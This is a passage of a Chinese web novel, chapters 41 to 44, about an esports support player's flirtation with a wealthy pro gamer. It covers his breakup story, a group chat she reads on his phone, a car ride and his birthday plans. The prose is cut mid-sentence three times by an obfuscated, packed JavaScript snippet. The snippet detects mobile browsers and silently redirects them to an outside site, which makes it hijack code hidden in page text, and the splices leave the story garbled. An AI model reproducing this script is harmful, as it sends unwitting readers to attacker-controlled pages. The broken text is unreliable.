李君诚看得速度很快，划了几下过了一遍，又点开那些截图和转发看，然后冷笑了声：“行。我知道了。”他低声又骂了句不知道什么，按了下挂断，但是力度不对没能成功，“张新宇你当面一套背后一套是什么意思，喜欢你可以大大方方说，我又没不让你……” 他的手再次压到了按钮，画面和声音一下子消失了。 汤瑶呆呆的对着聊天窗口，重新看了一遍两人的文字聊天记录，好像是有不同角度解读的可能。但…但是……也要结合实际吧。她哭笑不得的捧着还在发烫的脸，自言自语起来：“拜托大哥，我又不是什么万人迷！你的脑回路是不是有问题啊！” 41. 第 41 章 真白跟教练开了个二十多分钟的小会，游戏的事情聊完了，就开始说放假去哪里吃饭。两人说着推开了门，就被李君诚堵住了。他冲教练点了点头，视线落到自己的身上：“说点事。” 他们又回了房间，真白看到自己手机被扔到了床上，啧了声，开始挠头。 李君诚反手把门关上，开门见山的问：“你对汤瑶到底什么意思？你不是说你对她没感觉吗？” “确实没感觉啊。”他大喇喇走回去坐下，“就…没事逗逗她玩。” “天天那么多妹找你，你非要找她吗？认识这么久了，我是什么性格你也知道。你想追就大大方方追，在背后搞小动作真没必要。跟哥们说实话，真喜欢就喜欢呗，反正她又跟我没什么，我干涉不了她做选择。”他顿了顿，应该是下了决心才说，“毕竟你们有感情基础，真复合的话，你放心，我肯定尊重你俩。” “得了吧，你诚少要把的妹，谁能撬得走？”真白衡量世界的计量单位就是钱，在这种规则里，他太清楚两人间的差距。他都庆幸自己是真不喜欢，哪怕有那么一点儿感觉，那自己就是败给这个权钱世界的倒霉苦主了。 “……唉，没必要这么说。”李君诚在误会的路上越走越远，“女孩子又不是别的，怎么想谁也不知道。我的意思只是咱俩公平一点，还有就是，你对她也公平一点，要是想追她，你就彻底跟林琳断了。” “我真服了。”真白都无语了，“真有那么喜欢吗？你到底喜欢她啥？” 李君诚想了想，然后摇摇头：“挺多的，一时半会儿说不完。” 简直就是异食癖！ 真白不理解，也不想理解。 * 【汤】：QAQ对不起 【汤】：我再也不在背后八卦别人了 【汤】：补药生气啊 【L1】：…… 【L1】：不是，我没有生你的气。 【汤】：0.0 【汤】：这样嘛 【L1】：你想知道可以直接问我。 【汤】：没有没有 【L1】：[奥恩无语] 【L1】：那我想跟你说，你想听吗 【汤】：也行。 * 在不知道怎么处理后续的时候，装傻就是最好的选择。比起客观的陈述自己没有那么大魅力，既要帮真白撇清关系，还很可能让话题的发展不可控，最后不得不捅破那层窗户纸，当然是将错就错，让‘误会’进行到底。 笨蛋很容易就糊弄过去了，如果聪明情商又高的话，也会配合。 不知道好还是不好，汤瑶认为李君诚是第二种。 确实，认识这么久以来他在她心里一直加分。但就算知道了他的图谋，她也没有把他放到男友预备役里，因为她压根就不想谈恋爱。 ——当然，暧昧是另一回事了。 汤瑶躲在被窝里，把另一个枕头抱在怀里：“我躺好了，你说吧！” 真白在外面直播补时长，上半年还没过完，他就欠了两百多个小时长。 李君诚答应了一声，但一会儿都没说话。 很显然他不擅长这样聊天，憋了半天才开口：“我不知道怎么说，说什么。我不觉得她有什么不好，只是不太合适。可是我也不想让你觉得我不好。” 汤瑶最讨厌用前女友卖惨的男人，偏偏接触到的男性十个有八个喜欢用前任给自己立情圣形象，动不动就是真心喂了狗，要么就是莫欺少年穷，一开始还图新鲜听听，听多了就愈发觉得这类人的嘴脸丑恶。说要听他说情史，也只是想看看自己的揣测对不对而已。 结果李君诚倒是比想象中的还要真诚。 “所以是什么不合呢？为什么分手呢？”汤瑶问，说话的时候那种酸涩感又在牙根处滋滋作祟，“……她真的很漂亮诶。” “就，兴趣爱好，三观什么的，都不太合适。” “什么啊，什么都不合适，那怎么会在一起？你小子就是见色起意然后始乱终弃了是吧！？” “诶不是，她追的我好吗？”李君诚语气听起来还有点委屈，“一开始就是拉着一起玩游戏，打了很长时间，基本上天天都玩，线下也吃过几次饭。正好那个时候比赛打得瓶颈期，也挺想找个人陪，反正后面有天林琳就给我们四个拉了个讨论组，搞了个什么真话局，然后说了些有的没的，就在一起了。” “这不是挺合适的吗？我觉得你真的很合适网瘾大的女生。” “这就是问题所在！！”他说，“谈了她就变了，天天打电话聊天但是就是不上线，问就是指甲不方便身体不舒服心情不好。喊她来又不来，我自己打又要翻战绩，pvp的游戏只要随机匹配到女的就发脾气，每天查岗八百遍，不让我玩要我陪她看剧什么的，见面先查半小时聊天记录和私信。然后我才知道她根本就不喜欢打游戏，玩那么久就是为了追我，所有游戏一半代练一半靠张新宇和林琳在讨论组里教。草了，她唯一喜欢的游戏就是打麻将，雀魂倒是实打实玩了两千多小时。” “呃……啊这，呃……不管怎么说，为了追你不喜欢的事情那么久，也很伟大了。” “我知道啊，所以也没因为这个怎么样。除了这个，其他也都还行吧。而且我觉得她还挺好哄的，知道自己发代付，想要什么就说，反正不麻烦就是了。” “我跟你们有钱人拼了，会发代付也算优点了吗？” “算啊。她自己有事业，问我要的那些她自己也能买，说白了就是要个态度而已。总比我发小那种一发脾气就全部拉黑，然后在小号发堪比摩斯密码的玩意，逼得他男朋友先破译再破费，还要求我们这些朋友想办法转交好多了吧。” “呃……这样对比的话确实。”汤瑶感觉自己简直都算温柔可人了，“听起来不是什么大问题，怎么没多久就分手呢？” 李君诚思考了一会，说：“因为她对我的感情越来越深，我对她从恋爱后就没什么变化。我才发现我其实不喜欢她。就算她真的喜欢打游戏，可能也改变不了太多。我…只是那个时候太无聊。我承担不了她对我的越来越多的寄托，所以就分手了。” “我也是诶。”汤瑶深有共鸣，“无聊的时候就很想有人陪啊！一个特别的人，一段特别的关系，让自己感觉在这个世界没那么孤独——但我不会因为无聊就给人花钱，五块钱都不行。” “嗯，那上次你给我打电话，你觉得我不方便就直接找别人了是吗？只要有人陪你，谁都可以？” 汤瑶回避了这个问题：“唔，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326047|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么久远的事情你还记得？小心眼儿你。” “没有。”听不出他的语气，“只是问问，我不介意。” 她假装没听见，一本正经总结起来：“确实，我觉得没什么，好聚好散。人家没什么不好，你也没什么不好。而且你能自己想明白，及时醒悟，没有再耽误人家，已经很好了，很多男生都没这么细心好心的！” “……也不是，我既不细心也不好心。” “喂，我就客气客气。而且聊个天也不用这么真诚吧！” “不想你误会。” “我误会你是个好人也不好？” “不好。” “牛的。那你说吧，你是怎么被迫醒悟的。” “她……”李君诚顿了顿，专门找个含蓄点的说法，“她有精神洁癖，很在乎那种事的第一次，而且特别特别严重。” 汤瑶倒吸一口凉气，语气立刻变了：“你、你真恶心，你怎么好意思说……” “没有、没有！！也不是所有男的都那么饥渴好吗？”李君诚打断了她的语言攻击，“我现在都是处…呃，我、我呃……就，反正就……我是，她不是。好吗！” 汤瑶撤回了刚刚下的头：“对不起。”想想觉得好笑，“哦，你是处男啊？” “……”他不吭声了。 汤瑶也没再嘲笑他：“我没懂诶，她自己不是她为什么有这种情节，这不是折磨自己吗？” “那我怎么知道，她就是不放过自己。她觉得我好，她又觉得她配不上我，但是她又希望我能像她看重这件事情一样看重她，然后给她想要的那种……弥补？之类的吧。她想有个人拯救她，也确实应该有个人拯救她，但不是我，一开始她哭我还给她约心理医生，后来……就只觉得烦。” 从三观的角度出发，汤瑶也不理解这类人，她对爱情和情爱有过很多幻想，但任何一种预设都不包含对过去的背调，她不在乎发生过的事，她是标准的只看眼前享乐派。但同为女性，她又很能共情对方在黑暗情绪里的无助和难过，所以听到这么冰冷的转述心里又很不好受。 “好吧。”汤瑶把掉到鼻尖的头发拨开，半天才吭气，“下头。”她作出总结，“你可能没有那~么~那~~么~~渣，但是作为男朋友你是真不咋样。难怪你怕别人说，自己说都这么残忍了，别人再添油加醋一下，确实很影响形象。” 所以说还是暧昧最好了，既不用负责，又能享受荷尔蒙碰撞出微妙的氛围。 “没有啊，和平分手，别人又不知道原因。” “……那你跟我说，你有病？”汤瑶是真不懂他的脑回路，“我又不是非要听，你给我留点幻想的空间不行吗。” “嗯？你会幻想我吗？” “……啊啊啊你听不懂人话啊！！你去死吧！！” “嘿嘿。” “笑你个头，傻逼！” “如果可以，我肯定想你觉得我哪里都好，但我觉得人本来就不完美吧，我不喜欢撒谎。所以比起虚假的高分，我还是更想把好的坏的都告诉你，让你能有选择。” “谁要选了。”汤瑶油盐不进，“不说了我困了，挂了拜拜。” 她火速关掉了语音通话，然后捂着咚咚狂跳的心，叹气：“好险，差点就心动了。” 42. 第 42 章 换了AD完全不影响汤瑶的成绩，CEE在LDL的成绩依然一骑绝尘。不管比赛打得好，因为直播平台的主播组团整起了组排的活，她也会作为嘉宾偶尔出场，虽然次数不多，但每次的表现都很惊艳，连带着各方面的数据都水涨船高。 虽然讨论也不全是好的，关于她刻薄的挑剔从未止歇，但喜欢的人也变多，这就够了。 倒是去了一队的Shark一直坐冷板凳，眼看着几个月了上场无望，当时的豪言壮语冷却下来，于是又怀念起从前在二队的‘美好时光’了。在某个莫名其妙的深夜，他重新加了汤瑶好友，又发了一段没有标点符号的话，大概意思就是很想她。 然而汤瑶是过了两天才看见的，回应也仅仅是个可爱又敷衍的表情包。 她正忙着跟帅哥调情呢，哪有空理这个私生活混乱还没有做过牙齿管理的自大男啊！ 俗话说了：暧昧一时爽，一直暧昧一直爽。 没有占有欲的绑架，没有柴米油盐的负担，只有互相试探又小心翼翼的触碰和最纯粹的心跳加速。不管是新的表情包还是分享在朋友圈的歌都能拉扯几十个回合，这种无聊又俗套的纯真游戏，她玩得乐此不疲。 青春期的少女总是缺少分寸和礼貌，就算调情也充满冒犯。比如自从知道李君诚的情史之后，她总是会冷不丁的在某个和他相处的时刻问起来：“真是处男吗？”以及热衷于向他转发各种处男段子。 绝对不是无心，百分百的有意为之。 她很期待这样的试探能让异性能给什么新奇的反馈，虽然这一道相当苛刻的考题，连她也不确定激情和恶心的界定在哪儿，但仍希望得到满意或有趣的答案。 但是很可惜，李君诚只会发句号。 他不说是也不说不是，不撒娇也不生气。 直到某天，也许是汤瑶的语气太真诚了，他游戏频道里沉默了两分钟，然后给她发了张截图，并说道：“骗你这个干嘛。” 是一个仅有3人的微信小群，群名叫‘专注模式’。 聊天记录倒是被专门翻到了很久很久之前—— 【OuO】：OK 我给人全清了 【下周日】：怎么回事？ 【下周日】：昨天你组团带他们开银帕去了？ 【OuO】：？ 【OuO】：不是 【OuO】：（语音）我是觉得处男也分的，懂吧？没有和不想是两回事，我真受不了之前那几个B天天发黄色了，老子微信刚解封，草，太傻逼了，我就给他们全踢了。 【L1】：笑死 【OuO】：现在本群只有高质量处男了[呲牙][呲牙] 【OuO】：@L1 @D 谁先退群谁是狗 【OuO】：@L1 @D@L1 @D@L1 @D@L1 @D@L1 @D@L1 @D@L1 @D说话说话说话说话 【下周日】：已折叠 【L1】：我也是 “这……这、这好像……都很眼熟。”汤瑶有点不确认，“这个OuO就是MIFA吧，我有他好友认识头像。呃，下周日是谁？我怎么感觉我好像也认识啊？” “徐知睿啊。” “哦哦，哈哈哈哈哈男生也有小群吗？哈哈哈哈你们有毛病啊建这种群！” “谢回搞的啊，他一开始拉了好多人，我都不敢想他是怎么一个个问了之后拉进来的。其实就是普通的聊天群，但确实很乱，什么乱七八糟的都有。后来因为涉黄被检测了好像，他微信被封了一个礼拜，解了之后就把人全踢了，就留了我跟徐知睿。” “好吧，哈哈哈哈哈……那就你们仨了还聊天吗？后来？” “偶尔吧，不是跟你说过我跟谢回关系还不错吗。” “不应该是你们仨关系不错吗。” “不是跟你说过！徐知睿跟谁都不熟！” “你凶我？” “……没、没有啊。” “你语气好不耐烦，我就问问而已。哼。” “不是…我真没有。唉，对不起。汤汤……汤汤？” “嘿嘿。”汤瑶跟他玩久了，也喜欢学他傻笑，“没有啦，逗逗你。”她对这个群充满了好奇，毕竟三个处男肯定比一个处男精彩，“你们平时都聊什么啊？有我能看的内容吗？带我看看，求求你了。” “我不明白，这有什么好看的？女生不也会有类似的群吗，你们聊什么我们就聊什么。不过我们不怎么不专门聊天，很多时候都是代购买东西之类的。” “求求你了，给我看看。你要实在有包袱可以删点你觉得不健康不能给我看的。求求了——” “……倒也没什么不能看的。”李君诚好像在翻手机，“真的太长了，这群都好久了。”他顿了顿，“下次吧，下次吃饭的时候你自己翻。” 呵，心机男！之前确实说过有空会再一起吃饭，但一直没有具体约过时间，这下总算让他找到机会把这事儿提上日程了。 啧，不过这种心机有利无害嘛。 有吃有喝还有八卦看——更重要的是，查手机这么亲密的事情，一般可是女朋友的特权。汤瑶确认了一下假期，装作很为难的说道：“可是…我不想吃西班牙菜诶。” * 汤瑶在这场游戏里很懂得得寸进尺，既然彼此的心意都清楚，也就不用刻意保持什么距离感了。毕竟地铁实在是很难有位置，打车不便宜还有概率吸到二手烟，怎么想也是白嫖的保驰捷香。 离约定的时间还差十分钟，一辆白色的轿车稳稳停在了她等着的路口。 驾驶员按了下喇叭，在里面冲汤瑶招手。 汤瑶疑惑的看了看里面的人，又走到前面看了看车标，迟疑着拉开后排的门：“怎么换成BMW啦？” 李君诚看她不坐前排有点失望，但也没强求：“之前那保时捷是一个朋友的，这个是我们教练的。” 汤瑶穿了一条紫色碎花的修身连衣裙，方领泡泡袖，露出了胸口大片的白洁肌肤，但又恰到好处的在胸口处封住，脖子上戴了一条珍珠choker。妆要比之前淡一些，眼影也是闪亮的紫：“啊？我还以为都是你的呢。” “我的车不敢停基地了，不然老被借。”李君诚说，“你想坐下次我回去取。” 哼，这才刚见上，又开始预约下次了。 汤瑶不接这个话茬，探出身子去扒他的座椅：“快点～拿来拿来，让我看看处男联盟群的机密。” “……你还真是一点都不脸红。” 李君诚说到做到，把手机解锁了递给她：“锁屏密码是2580。” 天啊。这感觉真奇妙。 汤瑶只谈过网恋，亲密的极限也只有登录对方的游戏账号而已。这种毫无边界感的真实窥探还是第一次，她可太想知道男生的手机里都有些什么了！她接过来，还不忘吐槽：“你这密码敢再简单点吗。” 李君诚的手机没有手机壳，而且还是两年前的款，但成色还不错。封面是某地雪山，背景也是。App没有专门的分组，但应该按频率重新排列过，而且好几个软件的红点都多成了省略号，简直逼死强迫症。 虽然很想都翻一翻，但有点不好意思。 点进微信，引入眼帘的就是一大片置顶，战队群、疑似销售、两个小群、某某代购……还有自己。 他给自己的备注居然是【汤】。 汤瑶往角落里躲了躲，还抬头确认了一下后视镜里没有自己，才咬着手指笑起来。 「专注模式」比想象中还要冷清，聊天记录停留在上个礼拜，是mifa发的一张购物软件的外套截图——看起来是把群当备忘录用了，她也经常这样。 她把时期尽可能地往前翻，随机找了一个热闹的时间段开始看。 【OuO】：[购买记录] 【OuO】：我操这双靴子总算到了，卡了清关卡了两个月我以为无了 【OuO】：[可爱]全副武装 【OuO】:[一张带满戒指手举着手机拍了张全是配件的暗黑系穿搭] 【下周日】：下次我买螺丝你跟我去五金店，感觉店主看见你能给我打八折 【OuO】：？ 【OuO】：老子服了 —— 【L1】：[躺在沙发上的视角，手腕戴了一个充满异域风情的手串] 【L1】：新玩具0.0 【OuO】：这啥 【OuO】：你要走丁真风吗 【下周日】：？ 【L1】：？ 【L1】：一颗珠子就够买你十条狗命 【下周日】：浪费可耻 —— 【OuO】：周末喝酒，谁来@L1 @D 【OuO】：不喝也行，只要来接我[害羞] 【L1】：卡颜的吗 【OuO】：no 【OuO】：你想要也行，帮你重新叫 【OuO】：不对 【OuO】：给你组了那这群不是散了[咒骂] 【L1】：老子就随便问问 【下周日】：？我怎么没看懂 【L1】：看不懂去小孩那桌 “我也没看懂。”汤瑶把这段念了一遍，“卡颜局怎么了吗？” “卡颜局？”李君诚似乎是思考了一下，但没想起来，很迷茫但是诚实的回答了，“酒吧组卡颜局就是为了约呗。你在看什么呢，我怎么一点印象都没有了。” “呃……你们前年年底的聊天记录。” —— 【OuO】:[短视频分享/复制链接就打开''黑崎一泽''的新动态‘让你开心是我应该做的’] 【OuO】:[呕吐][呕吐]这么能擦 【下周日】：这不是你爱看吗 【OuO】：？ （2个小时后） 【OuO】:[几秒钟对镜的腹肌] 【OuO】:[思考]没有打光灯差点意思 【OuO】:[微笑]什么男的会天天研究擦边 【下周日】：[随手拍的腹肌] 【下周日】：很明显不是灯光的问题 【L1】：[撩衣服的随手拍] 【L1】：同意 【OuO】：？ 【OuO】：你俩懂个屁啊 【OuO】：哥作为C城唯一直男，这是保护自己的方式 【L1】：疑似无能狂怒 【下周日】：并非疑似 【OuO】:（语音）一段长达20秒的相当不文明的大骂特骂 —— 【L1】：[非常模糊的OOTD] 【L1】：[更清晰的在浴室里对镜的皮裤] 【L1】：@MIFA 【L1】：（语音）谢回你他妈有病啊让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【L1】：基本上都是 【L1】：以前没有现在这么贵，我好早就玩了 【下周日】：算了不炼了 【下周日】：@L1 借我玩几把爽爽 【L1】：叫爹 【下周日】：爹 【OuO】：@D 逆子，爹你也敢换 【下周日】：@MIFA 吃菌子出幻觉了？ 【L1】：[一杯香槟] 【L1】：过会回去 —— 【OuO】:[流行短视频模版x1] 【OuO】:[流行短视频模版x2] 【OuO】:[流行短视频模版x3] 【OuO】:发哪个？ 【OuO】:下次来跟我合拍那个很火的DJ摇 【下周日】：再发川剧T了 【L1】：啥川剧 【下周日】：他们那边的特色节目 【L1】：哦哦 【OuO】：@D 你他妈死深柜吗，看到男的就兴奋？ 【L1】：（语音）哦哦哦我终于懂了，川剧是GAY片是吧哈哈哈哈哈哈 【下周日】：乐 【下周日】：反正我合拍不会找男的 【OuO】：你懂个蛋啊，滚 【OuO】：女的就不爱看男的跟女的。 【下周日】：媚粉大师[大拇指]麦妈妈们真是太幸福了 【OuO】：你是太监吧你 【OuO】：（语音）徐知睿你跟兄弟说实话，你到底是不是深柜，都是哥们，没人歧视你。要不然你就是YW。都认识这么久了，我就从来没听你聊过女人，你到底是哪里有缺陷？ 【下周日】：也行 【L1】：他也喜欢孟麒 【OuO】：？ 【下周日】：？？？ 【L1】：（语音）开个玩笑。上次唱歌我看到他那看孟麒直播还送礼物了。 【OuO】：？？哪次 【下周日】：造谣 【L1】：（语音）不知道诶，那应该看错了没送。但是直播间就是孟麒的，有摄像头。 【下周日】：有人老抢麦唱得有难听我看会儿直播咋了 【L1】：你怎么急了 【下周日】：谁急了 【OuO】：你别做梦了，孟麒跟你打完一次比赛骂你八百遍。 —— 【L1】：[偷拍徐知睿暴风进食] 【L1】：DQ平时不让你吃饭吗 【下周日】：（语音）减肥啊 【OuO】：鬼图打码 【下周日】：[谢回醉照][谢回醉照][谢回醉照][谢回醉照] 【下周日】：50删一张 【OuO】:[转账500]对不起 —— 汤瑶开始还比较克制，但是越翻越好笑，最后直接躺在后排狂笑。 李君诚完全搞不懂女生的笑点，趁红绿灯的时候回头看她好几眼，想说点什么，但看见她笑就莫名其妙跟着也笑起来。 43. 第 43 章 聊天的频率确实不高，但历史良久，翻下来内容量还是很大。 三个人的性格也很鲜明，比如谢回话非常非常多，爱臭美，喜欢把群当备忘录，高强度转发各种穿搭或者代购消息，再要不然就是一些圈内的八卦，这个分手了那个睡粉了之类的。李君诚就是简单朴实的炫富，大到新车小到新耳机都被他统称成玩具，还经常被谢回种草各种乱七八糟的玩意，但买回之后就又都不太喜欢，再有就是偶尔问徐知睿一些锻炼健身的事情。徐知睿话最少，也像其他两个人一样分享生活或者心情，群里组局也十次有八次拒绝，但他的冷幽默往往是汤瑶笑得超大声的原因。 聊天记录实在太多，她笑得肚子也疼，就没有再仔细看。切出小群，消息界面还有很多未读，夹杂着几个明显女性头像的只言片语，她好奇得心里痒痒，花了好大的自制力才忍住。 她把手机还回去，顺势又扒在驾驶位旁边，不看身边的他，但抬头从镜子里看自己的妆容还有他的侧脸：“嘿嘿，很~精彩~哦~” “真有那么好笑吗？”李君诚不解，“我觉得只有谢回有时候喝多了发的那些语音比较好笑，但你好像没翻到。” “是没有。”汤瑶身子往前探了一点，用狡黠的眼神盯着他，“但是我看到了更有意思的。” 李君诚被她的视线盯得毛毛的，心里隐隐有种不祥预感。 “咳咳。”她清了清嗓子，眼神从他的脸扫到因为紧张滑动了一下的喉结，笑笑坐了回去，“不告诉你，你自己回去的时候翻吧。不过也没什么，感觉都是男生之间会聊得的正常话题吧。” “……”他脸色一白，根本不敢多想。 好在汤瑶没有在这个话题上咄咄逼人，伸了个懒腰，靠着窗那边倒了下去，消失在了后视镜里。他趁着红绿灯的空隙连了蓝牙，一个多小时的车程，总要听点儿什么。当然，不是常用的DJ歌单，而是连封面都是粉色系的蒸汽波和R&B歌单。 汤瑶在后面玩着手机，好一会儿没说话，直到随机歌单切换到了《迷宫》，她就坐起来跟着哼哼：“……眼神太闪躲，心思猜不透，是我太心急还是又犯错了错~”她嗓音清亮又不矫饰，每个意料之外的转音都好听得不得了，“这歌儿我还挺喜欢的，之前没打职业的时候给每个经常跟我玩的AD都唱过。” “……哦。” 她一瘪嘴，又有点不高兴了。 汤瑶觉得李君诚真是个非常不懂聊天的人，在感情里他就好像那个拉磨的蠢驴，踹一脚才懂得动一下，甜言蜜语一点不会就算了，给他借题发挥的机会都不知道珍惜。那他不说，她还怎么给他唱？ 他到底喜不喜欢自己啊，这世界上真有喜欢但是一点都不主动的人吗？不主动就是不够喜欢吧！也许他和那些围绕在自己身边的其他男生没什么不一样，只是把自己当做无聊的消遣而已，一定要说区别的话，就只是他特别有钱吧。 汤瑶就是这样。她习惯性地会因为某个细节开始反刍关于自己的所有事情，用否定、疏离、怀疑和刻薄一遍遍剖析感情，就算拆解出来的答案面目全非，但只要是痛苦的就是真实的。 “……眼神太闪躲，心思猜不透，走不出你心里迷……嘟……” 歌声突然卡主，顿了一秒之后，就是来电铃声。 李君诚看了下备注，直接外放接了：“干嘛啊？” “喂，你今天有没有收到一个顺丰快递啊。我看配送信息已经签收了，你别拆啊，我地址弄错了送到你们基地那边了，下次你带给我啊。”是谢回的声音。 “呃，不会是那两件Stoneisland吧。” “我草啊，你要死啊你给我拆了。你穿了没？你没穿吧？你戴了把钱赔我！！全新还没碰到就变二手啊啊啊啊！！” 李君诚把音量调小了：“别叫了别叫了，没穿，我就拆开看看是什么，因为我一般不买这么便宜的衣服。” “你怎么还没死呢李君诚？” “你自己填错地址怪我啊！再说了现在谁还穿石头岛，不如买克罗心。” “你懂个Der啊，克罗心我已审美疲劳。”谢回松了口气，窸窸窣窣了一会，“啊，我看了下要过好久才排到同一天，我直接叫个快送吧。” “明天吧，我不在基地。”李君诚说。 “啊，你干嘛去啊？我操，你组局不喊我？我都无聊死了！” “没有。”李君诚想了想，很委婉的说，“没有别人，就吃个饭。” 那边沉默了两秒，换了个语气：“卧槽，你谈恋爱了？发展这么快？怎么从来没听你说过？让你过夜了吗？谁啊？粉丝吗？谁啊，是微博上的那个？上次吃饭那个？还是谁？谁？！谁！！！谁！！！！！” 谢回恶疾发作的太突然，李君诚手忙脚乱也没切回去，只好放大了音量掩饰不安：“关你屁事，关你屁事。还有你能不能别造谣，上次吃饭那个是张新宇叫的不是我叫的！！” 结果那边完全没听他的争辩，只是声音变小了：“卧槽，你知道李君诚谈恋爱了吗？他朋友圈发过没得啊？”很明显不是在跟这边说话。 李君诚不是没有机会挂电话，而是他在余光里发现了话题转变之后，后面就悄悄探出来一个好奇的小脑袋。他觉得她应该很感兴趣。 “没有吧，没有谈吧。”一个更小的懒洋洋的声音回了，“是不是那个女孩子，我忘记她叫什么了……反正每次他喊我那个妹妹都在。” “什么？谁？谁啊？我草，你怎么不早说？这你不告诉我？是不是兄弟噻。” “你又不玩永劫。就是那个、那个在LDL打辅助的女生，你不是也认识吗？” “哦！我知道了！”谢回的声音重新清晰，“是吗？是不是那个姜姜？” 李君诚看后视镜里的脸再次消失，就直接挂掉了，顿了顿：用很僵硬的语气着补：“别管他，他这人就这样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326049|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他应该不知道是外放。”汤瑶笑，“我每次见他的时候他都可高冷了。” “什么意思？” “昂，就是我在S城这边做美容项目都是用他的会员卡，他给我打折呀。不然呢？他那种竞圈大明星怎么会无缘无故记得我咧。” 这回轮到李君诚不高兴了：“他干嘛给你打折？你们也见过很多次吗？” 汤瑶终于感觉到他的情绪波动了，但是又觉得他有病。这人怎么老是幻想全世界都喜欢自己。她好气又好笑的解释：“他会员88折呀，给我九折，赚钱又赚积分，而且他自己也喜欢去做项目。次数倒是不多……因为我没那么多钱，就去了俩回。” 李君诚没说话，只是在车载屏上敲了又敲。很快，机械语音就提示了目的地更改，变成了外滩的某美容院。然后才说话：“离得不远，给你办张卡，或者你想做什么项目可以直接做，餐厅我打个电话改下时间就行。” “不是……呃，你、你是觉得钱很烫手吗？” “这点钱也烫？” “……行。算你牛。” 汤瑶内心是有过犹豫挣扎的，脸皮再厚也架不住这么被钱砸。理智让她应该尽快找个理由婉拒，可是想想自己确实快半年没去做美容了，她是绝对不会放弃让摄像头拍到自己清晰下颌线这件事的，这笔支出早晚都要花…… “那个，汤汤。” 她还脑子里做斗争，突然听到说话声，先应下来，然后才疑惑：“啊？” “我…有件事想、呃、有个……唉，就是我想我过生日的时候你也来。可以吗？” “你生日什么时候啊？” “八月，八月十六。” “那还早着呢。”汤瑶想了想，很爽快的点头，好歹是能给他回点什么，在不至于这么亏心了，“这有什么，只要你不是在比赛的时候，打完比赛我也可以去。多大点事！” 他这才笑笑：“那说好了。” “不过我的经济水平你是知道的，你可不要指望我送什么很贵的东西啊。” “哎呀，礼不礼物无所谓的。钱能买到的大多数东西，我都不是很在乎，你人能来就好。” 汤瑶怒而猛敲前面的座位：“我真的要跟你们有钱人拼了！！！” 她有旺盛的精力和牛一样的力气，李君诚被隔空揍得坐直了起来，他也说不清为什么，笑得停不下来：“好好好，我错啦，我错啦。” “所以，你到底多有钱？”她又有点不好意思“什么家庭？谁家的公子？你微服私访来LPL有什么目的？” “打职业是因为我想玩啊，但是一直在家玩会挨骂，出来就可以光明正大的玩。”李君诚的解释简单粗暴，“家里这个……自己说有点尴尬，反正我过生日的时候你来，来了就知道了。” “切。还装神秘，你是玉皇大帝？”汤瑶气鼓鼓又给了一拳，然后倒了回去，“玉皇大帝现在也得给我当司机。姐睡了！” 44. 第 44 章 在英雄联盟里，辅助是个很特殊的位置，游戏机制和定位注定了不需要太多操作，甚至某外赛区的冠军辅助的经典事迹就是两个月不打RANK，训练全靠冥想。汤瑶对此深以为然，因为这就是个思考大于一切的角色，控线、对线、哪怕控制的精准度其实都是思想上的博弈，而不是比谁键盘早按了0.01秒，毕竟动作动画时间是固定的。 比赛打得越多，汤瑶越确信自己的天赋和能力。她觉得自己天生就是吃这碗饭的！ 汤瑶甚至专门定了一个有关转会期的倒计时，这样每天打开手机就能看到自己离理想又近了一步。 最近，她又定了个新的倒计时，是8月16日——李君诚的生日。她是绝对不会做卡点送祝福写小作文这种事的，完全一时没有送礼的头绪，这样时不时能看见，就不至于忘记。连吃带拿这么久，于情于理都要好好准备才行。目前还什么头绪，不过还早，有的是时间思考。 汤瑶在基地的相处很是融洽，几个队友也都是朋友兄弟互称，还和战队运营的皮下姐姐成了好朋友，现在想要出去逛街吃饭也有了人陪。生活简单又幸福，以至于她很好心的包容了很多时候会令自己不快的小插曲。 比如妈妈的抱怨，比如真白的骚扰，比如论坛里对自己的各种恶评。 汤瑶的分数还在七百分上上下下，从一开始壮志酬筹上个第一，再到千分，再到八百，再到不不掉分就行，总之除了分数之外的方面都有了不少长进。 时间过得飞快，一晃到了七月底，李君诚的邀约如期而至，汤瑶的礼物还没头绪。情急之下高强度刷起了各种软件找思路，最后紧急花巨款买了一条有现货的LV领带。等东西送到了手里，她才后知后觉想起这个礼物好像完全不符合他的身份和年纪…… 退是退不了，再买不如要她的命。 左思右想之下，她又花几十块网购了一堆材料，躲在冷气房里织围巾。这是她还在上学的时候，冬天班里女生最流行的活动之一，她在旁边耳濡目染也就会了，只是同学们要么送给家人要么送给朋友或恋，她都没有，所以这也算是正儿八经第一次织。 其实汤瑶对两样礼物都不太满意，但这已经是她的极限了。 反正……只是普通朋友。 * 汤瑶提前收到了生日宴的地址，是开在某知名五星酒店里的米其林二星私房菜餐厅，人均比之前的那次日料还要贵。李君诚顺便补充了，没什么电竞圈的朋友。她也没当回事，毕竟她在竞圈也没朋友。反正谁都不认识，所以谁也不会影响她干饭。 